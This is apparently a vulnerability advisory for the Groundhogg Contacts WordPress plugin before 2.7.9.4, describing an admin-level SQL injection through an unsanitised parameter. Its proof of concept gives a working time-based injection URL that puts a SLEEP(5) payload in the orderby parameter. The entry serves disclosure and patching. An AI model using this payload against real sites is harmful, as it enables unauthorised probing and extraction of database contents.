WordPress Plugin Vulnerabilities
Groundhogg Contacts < 2.7.9.4 - Admin+ SQLi
Description
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admins
Proof of Concept
1. Login as a WordPress administrator or any of the custom roles from GroundHogg 2. Navigate to the URL: /wp-admin/admin.php?page=gh_contacts&orderby=first_name%2C+(CASE+WHEN+(SELECT+SLEEP(5)%3D1)+THEN+1+END)&order=asc 3. The web server will wait 5 seconds before responding indicating the sleep function is being run by the database.
